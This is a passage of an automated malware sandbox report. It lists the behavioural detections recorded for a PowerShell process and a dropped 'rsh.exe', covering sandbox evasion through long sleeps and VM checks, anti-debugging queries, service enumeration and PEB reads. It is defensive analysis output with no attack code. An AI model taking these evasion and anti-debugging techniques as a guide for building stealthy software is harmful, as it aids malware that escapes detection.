Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Checks the free space of harddrivesShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeFile Volume queried: C:\ FullSizeInformation
Contains functionality to enumerate running servicesShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: EnumServicesStatusExW,GetTickCount,OpenServiceW,19_2_0021F71D
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: EnumServicesStatusExW,GetLastError,19_2_0021F6C4
Contains long sleeps (>= 3 min)Show sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Enumerates the file systemShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Found large amount of non-executed APIsShow sources
Source: C:\Windows\System32\echoshims.exeAPI coverage: 9.3 %
May sleep (evasive loops) to hinder dynamic analysisShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4016Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3204Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3576Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3692Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\rsh.exe TID: 3664Thread sleep time: -60000s >= -30000s
Queries disk information (often used to detect virtual machines)Show sources
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEFile opened: PhysicalDrive0
Sample execution stops while process was sleeping (likely an evasion)Show sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: powershell.exe, 0000000F.00000002.1061012027.04574000.00000004.sdmpBinary or memory string: vmbusres.dll
Queries a list of all running processesShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation

Anti Debugging:

barindex
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))Show sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSystem information queried: KernelDebuggerInformation
Checks if the current process is being debuggedShow sources
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEProcess queried: DebugPort
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00211A36 LoadLibraryA,GetProcAddress,18_2_00211A36
Contains functionality to read the PEBShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00211530 mov eax, dword ptr fs:[00000030h]18_2_00211530
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_002121B0 mov eax, dword ptr fs:[00000030h]18_2_002121B0
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00211530 mov eax, dword ptr fs:[00000030h]19_2_00211530
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002121B0 mov eax, dword ptr fs:[00000030h]19_2_002121B0
Source: C:\Windows\System32\echoshims.exeCode function: 20_2_00541530 mov eax, dword ptr fs:[00000030h]20_2_00541530
Source: C:\Windows\System32\echoshims.exeCode function: 20_2_005421B0 mov eax, d